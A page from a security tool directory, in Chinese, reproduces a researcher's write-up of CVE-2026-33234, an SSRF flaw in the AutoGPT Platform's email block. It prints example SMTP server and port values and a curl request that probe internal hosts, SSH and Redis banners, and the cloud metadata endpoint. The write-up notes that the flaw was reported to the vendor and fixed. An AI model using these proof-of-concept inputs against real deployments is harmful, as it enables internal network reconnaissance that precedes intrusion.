Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33234 — SSRF 通过 smtplib 原始 TCP 套接字绕过 AutoGPT SendEmailBlock 中的 HTTP 黑名单 | Kitploit
工具/GitHubGitHub/pavanchow/cve-2026-33234
漏洞分析漏洞利用信息收集Web安全网络安全
GitHubpavanchow/cve-2026-33234

CVE-2026-33234

SSRF 通过 smtplib 原始 TCP 套接字绕过 AutoGPT SendEmailBlock 中的 HTTP 黑名单

查看仓库
15小时11分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
网站
分享

Hero Banner

我如何将 AutoGPT 的邮件功能变成内部网络扫描器

CVE-2026-33234 | 中危 5.0 | GHSA-4jwj-6mg5-wrwf 作者: Pavan Nallamothu


我在 AutoGPT Platform 中逐一映射了所有触及网络的用户可控输入。HTTP 层被封锁得严严实实。私有 IP 范围(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)、回环地址、云元数据端点——全部被列入黑名单。我从多个角度确认了 HTTP 网关的防护。没有任何东西能穿透。

然后我打开了 SendEmailBlock 的配置模式。

SMTP 服务器字段是一个自由文本输入。不是管理员凭据。不是在部署时一次性设置并锁定的配置。而是任何经过身份验证的用户都可以随意填写的字段。我追踪了代码路径,发现 smtplib.SMTP() 会打开一个原始 TCP 套接字。该连接从不经过承载 IP 黑名单的 HTTP 路径。平台中存在两条出站路径。只有一条受到保护。

我将 SMTP 服务器指向了 localhost:22。

SSH 横幅在错误消息中返回了。smtplib 会连接你给它的任何地址,尝试读取 SMTP 220 问候语,当收到其他内容时,会将原始字节包装在 SMTPConnectError 中。该异常会传播到 AutoGPT 的执行框架中,并清晰地显示在块输出中。我在完全不触及 HTTP 层的情况下,看到了目标的 SSH 版本字符串。

这就是它有趣的地方。smtplib 不仅仅是一个邮件客户端。它是一个带有结构化错误报告的 TCP 横幅抓取器。将其指向端口 6379,你会得到 Redis 的协议签名。将其指向一个关闭的端口,ConnectionRefusedError 会告诉你主机存活但端口已关闭。将其指向 169.254.169.254:80,你可以确认云元数据端点可达。每次连接尝试都会返回不同的、信息丰富的错误。通过一个本应发送邮件的功能实现非盲 SSRF。

SMTPConfig 的设计加剧了这个问题。在安全的架构中,SMTP 服务器地址应该是管理员控制的凭据——设置一次、锁定、永不暴露给用户。相反,它是一个每次执行时的输入。每个经过身份验证的用户都控制着平台在何处打开 TCP 连接。

root@kitploit:~
# SendEmailBlock 配置 - 将 SMTP 服务器设置为内部目标

# 扫描 SSH
smtp_server = "10.0.0.5"
smtp_port = 22
# 错误揭示:"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6"

# 扫描 Redis
smtp_server = "10.0.0.5"
smtp_port = 6379
# 错误揭示:"-ERR unknown command ..."

# 扫描关闭的端口
smtp_server = "10.0.0.5"
smtp_port = 9999
# 错误揭示:"ConnectionRefusedError"(端口关闭,主机存活)

# 访问云元数据
smtp_server = "169.254.169.254"
smtp_port = 80
# 确认元数据端点可达性

我通过块执行 API 验证了完整的攻击链:

root@kitploit:~
# 针对块执行 API 的等效直接测试
curl -X POST https://autogpt-platform/api/blocks/execute \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "block_id": "send_email_block",
    "inputs": {
      "smtp_server": "10.0.0.5",
      "smtp_port": 22,
      "to": "[email protected]",
      "subject": "test",
      "body": "test"
    }
  }'
# 响应包含带有 SSH 横幅的 SMTPConnectError
root@kitploit:~
graph LR
    A[攻击者将 SMTP 服务器设置为内部 IP] --> B[SendEmailBlock 调用 smtplib.SMTP]
    B --> C[原始 TCP 连接到目标:端口]
    C --> D{服务有响应吗?}
    D -->|是| E[横幅被读取为 SMTP 问候语]
    E --> F[带有横幅数据的 SMTPConnectError]
    F --> G[错误传播到块输出]
    D -->|否| H[ConnectionRefused = 端口关闭]
    G --> I[攻击者读取服务版本]

这所打开的攻击面是巨大的。SSH 横幅揭示了精确的版本(OpenSSH_8.9p1 Ubuntu-3ubuntu0.6)。Redis 泄露了其协议签名。MySQL 发送其版本字符串。每个横幅都是一次等待发生的 CVE 查询。攻击者绘制内部网络地图,识别每个正在运行的服务及其精确版本,然后针对最薄弱的一个发起攻击。这一切都来自一个标记为“SMTP 服务器”的文本字段。

三个缺失的检查造成了这个问题:SMTP 路径上没有 IP 验证,没有端口限制,没有异常清理。平台保护了每一个出站门,唯独漏掉了标记为“外发邮件”的那一个。

我向 Significant Gravitas 报告了该问题。他们立即理解了这一架构性缺口。

修复版本: autogpt-platform-backend 0.6.52(已将 SMTP 服务器验证添加到黑名单强制执行中,并应用了端口限制)

下载工具